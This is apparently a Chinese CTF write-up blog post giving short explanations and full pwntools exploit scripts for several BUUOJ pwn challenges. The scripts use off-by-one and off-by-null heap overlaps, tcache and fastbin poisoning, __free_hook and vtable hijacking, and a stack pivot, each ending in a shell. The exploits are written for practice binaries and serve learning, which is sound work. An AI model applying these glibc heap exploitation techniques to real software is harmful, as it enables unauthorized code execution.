漏洞点在merge函数中,用strcpy和strcat的函数不会制定长度,一直到\x00为止。可以做到off by one。具体的操作是分别申请0x10,0x18,0xb0这三个堆块,merge 0x10和0x18,会申请一个0x38的堆块,填入的长度却是0x39,即可以将下一个堆块的size改成0xb0。然后做overlapping,泄漏libc地址,接着修改tcache的fd到free hook地址,覆盖为system。

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 27018)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

gdb_srcipt = '''
			set $ptr=(void **)$rebase(0x2020A0)
			define pr
			 	x/20gx $ptr
			end
			'''

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add(size, content):
	io.recvuntil(">>")
	io.sendline("1")
	io.recvuntil("len:")
	io.sendline(str(size))
	io.recvuntil("content:")
	io.send(content)

def show(index):
	io.recvuntil(">>")
	io.sendline("2")
	io.recvuntil("idx:")
	io.sendline(str(index))

def delete(index):
	io.recvuntil(">>")
	io.sendline("3")
	io.recvuntil("idx:")
	io.sendline(str(index))

def merge(index1, index2):
	io.recvuntil(">>")
	io.sendline("4")
	io.recvuntil("idx1:")
	io.sendline(str(index1))
	io.recvuntil("idx2:")
	io.sendline(str(index2))


add(0x10, "a"*0x10)	#0
add(0x18, "a"*0x18)	#1
add(0xb0, "a"+"\n")	#2

#fill tcache (0xb0)
for i in range(7):
	add(0xb0, "a"+"\n")
for i in range(3, 3+7):
	delete(i)

add(0x28, "a"+"\n")	#3
add(0x80, "a"+"\n")	#4
add(0x20, "a"+"\n")	#5
add(0x20, "a"+"\n")	#6

delete(3)
merge(0, 1)		#3, 修改4的size为0x91->0xc1

delete(4)
add(0x80, "a"+"\n")	#4
show(5)
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 96
libc_addr = main_arena - 0x3ebc40
print "libc addr: " + hex(libc_addr)

add(0x20, "a"+"\n")	#7,清空unsorted bin

delete(3)
merge(0, 1)		#3, 修改4的size为0x91->0xc1
delete(4)

delete(5)
add(0xa0, "a"*0x80+p64(0x0)+p64(0x21)+p64(libc_addr+libc.symbols["__free_hook"])+"\n")	#4

add(0x20, "a"+"\n")		#5
add(0x20, p64(libc_addr+libc.symbols["system"])+"\n")	#8
add(0x40, "/bin/sh"+"\n")	#9
delete(9)


#debug(gdb_srcipt)
io.interactive()

wustctf2020_number_game

一个负数去负之后还是负数,那就是0x80000000,取负(按位取反+1)还是原数,直接输入-2147483648即可。

wustctf2020_getshell_2

迁移栈到bss上

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

io = process("./pwn")
#io = remote("node3.buuoj.cn", 29407)
e = ELF("./pwn")
#io = remote("node3.buuoj.cn", 25022)

gdb_srcipt = '''
			b *0x0804859C
			define pr
				x/20wx 0x0804A340
			end
			'''

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

bss_addr = 0x0804A040 + 0x300
call_read_addr = 0x0804858B
sh_addr =  0x08048670
leave_ret = 0x08048532

#debug(gdb_srcipt)

io.recv()
payload = "a"*0x18
payload += p32(bss_addr+0x18)	#ebp
payload += p32(call_read_addr)	#ret
io.send(payload)

sleep(0.1)

payload = "aaaa"
payload += p32(e.plt["system"])
payload += "aaaa"
payload += p32(sh_addr)
payload = payload.ljust(0x18, 'a')
payload += p32(bss_addr)		#ebp
payload += p32(leave_ret)		#ret
io.send(payload)

#debug(gdb_srcipt)

io.interactive()

wustctf2020_easyfast

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

io = process("./pwn")
io = remote("node3.buuoj.cn", 28918)

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add(size):
	io.recvuntil("choice>\n")
	io.sendline("1")
	io.recvuntil("size>\n")
	io.sendline(str(size))

def delete(index):
	io.recvuntil("choice>\n")
	io.sendline("2")
	io.recvuntil("index>\n")
	io.sendline(str(index))

def edit(index, content):
	io.recvuntil("choice>\n")
	io.sendline("3")
	io.recvuntil("index>\n")
	io.sendline(str(index))
	io.send(content)

def backdoor():
	io.recvuntil("choice>\n")
	io.sendline("4")

add(0x48)
delete(0)
edit(0, p64(0x602080))
add(0x48)
add(0x48)
edit(2, p64(0x0))
backdoor()

#debug()
io.interactive()

cscctf_2019_qual_babyheap

tcache下面的off by null

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 25232)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

gdb_srcipt = '''
			set $ptr=(void **)$rebase(0x2020A0)
			define pr
				x/20gx $ptr
			end
			'''

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add(index, size, content):
	io.recvuntil(">> ")
	io.sendline("1")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Size: ")
	io.sendline(str(size))
	io.recvuntil("Content: ")
	io.send(content)

def delete(index):
	io.recvuntil(">> ")
	io.sendline("2")
	io.recvuntil("Index: ")
	io.sendline(str(index))

def show(index):
	io.recvuntil(">> ")
	io.sendline("3")
	io.recvuntil("Index: ")
	io.sendline(str(index))


add(0, 0x88, "a")	#0
add(1, 0x28, "a")	#1
add(2, 0x28, "a")	#2
add(3, 0xf8, "a")	#3
add(4, 0x10, "a")	#4

#fill tcache[0x100]
for i in range(5, 5+7):
	add(i, 0xf8, "a")
for i in range(5, 5+7):
	delete(i)

#fill tcache[0x90]
for i in range(5, 5+7):
	add(i, 0x88, "a")
for i in range(5, 5+7):
	delete(i)

#bypass unlink check
delete(0)

#off by null
delete(2)
add(2, 0x28, "\x00"*0x20+p64(0x90+0x30+0x30))

#backward overlapping
delete(3)	#into unsorted bin

#leak libc
add(3, 0x38, "a")
add(5, 0x48, "a")
show(1)
io.recvuntil("content: ")
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 96
libc_addr = main_arena - 0x3ebc40
print "libc addr: " + hex(libc_addr)

#attack free hook
free_hook = libc_addr + libc.symbols["__free_hook"]
system_addr = libc_addr + libc.symbols["system"]
delete(2)
add(2, 0x58, "a"*0x20+p64(0x0)+p64(0x31)+p64(free_hook))

add(6, 0x28, "a")
add(7, 0x28, p64(system_addr))

#get shell
add(8, 0x38, "/bin/sh")
delete(8)


#debug(gdb_srcipt)
io.interactive()

cscctf_2019_final_childrenheap

这个道题是一个ubuntu16下面的off by null。重点在于这道题在get shell时候通过malloc hook attack所有的one gadget的全部失效(通过realloc来调节栈高度也不行),所以选择劫持vtable来get shell

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

io = process("./pwn")
#io = remote("node3.buuoj.cn", 29152)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

gdb_script = '''
			set $ptr=$rebase(0x2020a0)
			define pr
				x/20gx $ptr
			end
			b *$rebase(0xD48)
			'''

def add(index, size, content):
	io.recvuntil(">> ")
	io.sendline("1")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Size: ")
	io.sendline(str(size))
	io.recvuntil("Content: ")
	io.send(content)

def edit(index, content):
	io.recvuntil(">> ")
	io.sendline("2")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Content: ")
	io.send(content)

def show(index):
	io.recvuntil(">> ")
	io.sendline("3")
	io.recvuntil("Index: ")
	io.sendline(str(index))

def delete(index):
	io.recvuntil(">> ")
	io.sendline("4")
	io.recvuntil("Index: ")
	io.sendline(str(index))


add(0, 0xf0, "a")
add(1, 0x68, "a")
add(2, 0x68, "a")
add(3, 0xf0, "a")
add(4, 0x40, "a")
add(5, 0x68, "a")
add(6, 0x18, "a")

delete(0)	#bypass unlink check
edit(2, "a"*0x60+p64(0x70+0x70+0x100))	#off by null
delete(3)	#forward overlapping

#leak libc
add(0, 0xf8, "a")
show(1)
io.recvuntil("content: ")
libc.address = u64(io.recv(6).ljust(8, "\x00")) - 0x3c4b78
log.success("libc address: " + hex(libc.address))

add(7, 0x68, "a")	#7==1
add(8, 0x68, "a")	#8==2
add(9, 0xf8, "a")

#unsorted bin attack
global_max_fast = libc.address + 0x3c67f8
delete(7)
edit(1, p64(0)+p64(global_max_fast-0x10))
add(7, 0x68, "a")

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

one_gadget = libc.address + 0xf02a4
edit(9, p64(one_gadget)*(0xf8/8))

#double free
delete(8)
delete(5)
delete(2)
delete(1)

#leak heap
show(7)
io.recvuntil("content: ")
vtable_addr = u64(io.recv(6).ljust(8, "\x00")) + 0x80
log.info("vtable addr: " + hex(vtable_addr))

#hijack vtable
#fake_chunk = libc.address + 0x3c497d	#修改的是stdin的vtable
fake_chunk = libc.address + 0x3c56bd	#修改的是stdout的vtable


add(1, 0x68, "a")
add(2, 0x68, p64(fake_chunk))
add(5, 0x68, "a")
add(8, 0x68, "a")
payload = "\x00"*3
payload += p64(0x0)*2
payload += p64(0xffffffff)
payload += p64(0x0)*2
payload += p64(vtable_addr)
add(10, 0x68, payload)


debug(gdb_script)
io.interactive()

secret_of_my_heart

这道题是一个基础的off by null,但是重点在于怎么在ubuntu16的情况下打free hook(因为one gadget全部失效)

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 26428)
#io = remote("chall.pwnable.tw", 10302)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add(size, name, content):
	io.recvuntil("choice :")
	io.sendline("1")
	io.recvuntil("heart : ")
	io.sendline(str(size))
	io.recvuntil("heart :")
	io.send(name)
	io.recvuntil("heart :")
	io.send(content)

def show(index):
	io.recvuntil("choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(index))

def delete(index):
	io.recvuntil("choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(index))

add(0x88, "a", "a")	#0
add(0x68, "a", "a")	#1
add(0x68, "a", "a")	#2
add(0xf8, "a", "a")	#3
add(0x48, "a", "a")	#4
add(0x68, "a", "a")	#5
add(0x18, "a", "/bin/sh\x00")	#6

delete(0)	#bypass unlink check
delete(2)	
add(0x68, "a", "a"*0x60+p64(0x70+0x70+0x90))	#0, off by one
delete(3)	#forward unlink

add(0x88, "a", "a")	#2
show(1)
io.recvuntil("Secret : ")
libc.address = u64(io.recv(6).ljust(8, "\x00")) - 0x3c4b78
log.success("libc address: " + hex(libc.address))


add(0x68, "a", "a")	#3==1
add(0x68, "a", "a")	#7==0
add(0xf8, "a", "a")	#8

#double free link list
delete(0)
delete(5)
delete(7)

malloc_hook_fake_chunk = libc.symbols['__malloc_hook']-0x23+0x18
free_hook = libc.symbols["__free_hook"]
system_addr = libc.symbols["system"]

add(0x68, "a", p64(malloc_hook_fake_chunk))
add(0x68, "a", "a")
add(0x68, "a", "a")
payload = "\x00"*0x1b	#padding
payload += p64(0)		#fastbin[0x30]
payload += p64(0x71)*3	#fastbin[0x40-0x60]
payload += p64(malloc_hook_fake_chunk+0x2b)		#ptr to fastbin[0x30]
add(0x68, "a", payload)

#修改top chunk地址到free_hook-0xb58,因为这里有数据
add(0x68, "a", "\x00"*0x38+p64(free_hook-0xb58))	

#共申请0xb40
for i in range(0, 18):
	add(0x90, "a", "a")	

add(0x90, "a", "a"*0x8+p64(system_addr))
delete(6)



#debug()
io.interactive()

hack_lu_2018_heap_heaven

跟常规的堆题不一样,漏洞在于可以任意free。我们最后的效果就是将state的fd指针指向一个伪造的堆块,其中填入one gadget。

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 29675)
e = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def write(size, offset, content):
	io.recvuntil("exit\n")
	io.sendline("1")
	io.recvuntil("?\n")
	io.sendline(str(size))
	io.recvuntil("?\n")
	io.sendline(str(offset))
	io.send(content)

def free(offset):
	io.recvuntil("exit\n")
	io.sendline("3")
	io.recvuntil("?\n")
	io.sendline(str(offset))

def leak(offset):
	io.recvuntil("exit\n")
	io.sendline("4")
	io.recvuntil("?\n")
	io.sendline(str(offset))

# leak all address
payload = p64(0x0)
payload += p64(0x501)
payload += "\x00"*0x4f0
payload += p64(0x0)
payload += p64(0x21)
payload += "\x00"*0x10
payload += p64(0x0)
payload += p64(0x21)	#为什么要伪造这个size

write(len(payload), 0, payload)
free(0x10)
leak(0x10)	#泄漏出的是top chunk addr
heap_addr = u64(io.recv(6).ljust(8, "\x00"))-0x40
log.success("heap addr: " + hex(heap_addr))

write(8, 0, p64(heap_addr+0x30))
leak(0x0)
text_addr = u64(io.recv(6).ljust(8, "\x00"))-0x1670
log.success("text addr: " + hex(text_addr))

write(8, 0, p64(text_addr+e.got["puts"]))
leak(0)
libc.address = u64(io.recv(6).ljust(8, "\x00"))-libc.symbols["puts"]
log.success("libc addr: " + hex(libc.address))

write(8, 0, p64(text_addr+0x4048+1))	#puts遇到\x00会截断,所以避开\x00
leak(0)
mmap_addr = u64(io.recv(4).ljust(8, "\x00")) << 8
log.success("mmap addr: " + hex(mmap_addr))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

one_gadget = libc.address + 0xf02a4

payload = p64(0x0)
payload += p64(0x21)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x21)

write(len(payload), 0, payload)
free(0x10)

payload = p64(one_gadget)*2
write(len(payload), 0, payload)


state_chunk = heap_addr + 0x10 - mmap_addr

#debug("b *$rebase(0x138E)")

free(state_chunk)


io.interactive()

未完待续

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值